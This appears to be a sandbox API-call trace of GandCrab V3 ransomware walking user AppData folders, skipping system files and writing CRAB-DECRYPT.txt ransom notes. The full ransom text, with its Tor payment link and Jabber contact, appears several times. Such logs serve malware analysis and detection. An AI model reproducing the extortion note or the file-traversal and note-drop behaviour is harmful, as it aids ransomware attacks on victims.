	[0112.636] lstrlenW (lpString=".txt") returned 4
	[0112.636] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.636] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.636] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\CRAB-DECRYPT.txt") returned 71
	[0112.636] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\CRAB-DECRYPT.txt") returned 71
	[0112.636] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.637] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.637] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.637] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.637] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.637] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.637] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.637] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.637] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.637] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.637] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0112.637] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0112.637] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0112.637] lstrcmpW (lpString1="SystemCertificates", lpString2=".") returned 1
	[0112.637] lstrcmpW (lpString1="SystemCertificates", lpString2="..") returned 1
	[0112.637] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates"
	[0112.637] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\"
	[0112.637] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.637] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.637] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.637] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.637] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.637] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.638] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.638] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.638] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.638] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.638] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.638] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.638] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.638] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\\\CRAB-DECRYPT.txt") returned 84
	[0112.638] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0112.638] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.638] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0112.639] CloseHandle (hObject=0x3f0) returned 1
	[0112.639] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.639] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned 67
	[0112.639] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*"
	[0112.639] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7370
	[0112.640] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.640] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.640] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.640] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.640] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.640] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.640] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.640] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\CRAB-DECRYPT.txt"
	[0112.640] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.640] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\CRAB-DECRYPT.txt") returned 83
	[0112.640] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\CRAB-DECRYPT.txt") returned 83
	[0112.640] lstrlenW (lpString=".txt") returned 4
	[0112.641] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.641] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.641] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.641] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\CRAB-DECRYPT.txt") returned 83
	[0112.641] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\CRAB-DECRYPT.txt") returned 83
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.641] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.641] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.641] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.641] lstrcmpW (lpString1="My", lpString2=".") returned 1
	[0112.641] lstrcmpW (lpString1="My", lpString2="..") returned 1
	[0112.641] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My"
	[0112.641] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\"
	[0112.641] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.642] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.642] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.642] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.642] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.642] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.642] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.642] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\\\CRAB-DECRYPT.txt") returned 87
	[0112.642] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0112.692] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.692] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0112.692] CloseHandle (hObject=0x3f4) returned 1
	[0112.693] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.693] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned 70
	[0112.693] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*"
	[0112.693] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda4be0
	[0112.693] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.693] FindNextFileW (in: hFindFile=0xda4be0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.693] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.693] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.693] FindNextFileW (in: hFindFile=0xda4be0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.693] lstrcmpW (lpString1="AppContainerUserCertRead", lpString2=".") returned 1
	[0112.693] lstrcmpW (lpString1="AppContainerUserCertRead", lpString2="..") returned 1
	[0112.693] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="AppContainerUserCertRead" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead"
	[0112.693] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.694] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned 94
	[0112.694] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\AppContainerUserCertRead") returned 94
	[0112.694] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.694] FindNextFileW (in: hFindFile=0xda4be0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.694] lstrcmpW (lpString1="Certificates", lpString2=".") returned 1
	[0112.694] lstrcmpW (lpString1="Certificates", lpString2="..") returned 1
	[0112.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="Certificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates"
	[0112.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\"
	[0112.694] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0112.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0112.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0112.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0112.695] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0112.695] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0112.695] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0112.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0112.695] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0112.695] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0112.695] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.695] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\\\CRAB-DECRYPT.txt") returned 100
	[0112.696] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.720] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0112.720] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0112.720] CloseHandle (hObject=0x3f8) returned 1
	[0112.721] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.721] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\") returned 83
	[0112.721] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*"
	[0112.721] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda4660
	[0112.721] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0112.721] FindNextFileW (in: hFindFile=0xda4660, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0112.721] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0112.721] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0112.721] FindNextFileW (in: hFindFile=0xda4660, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0112.721] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.721] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.721] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\CRAB-DECRYPT.txt"
	[0112.721] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.722] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\CRAB-DECRYPT.txt") returned 99
	[0112.722] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\CRAB-DECRYPT.txt") returned 99
	[0112.722] lstrlenW (lpString=".txt") returned 4
	[0112.722] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.722] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
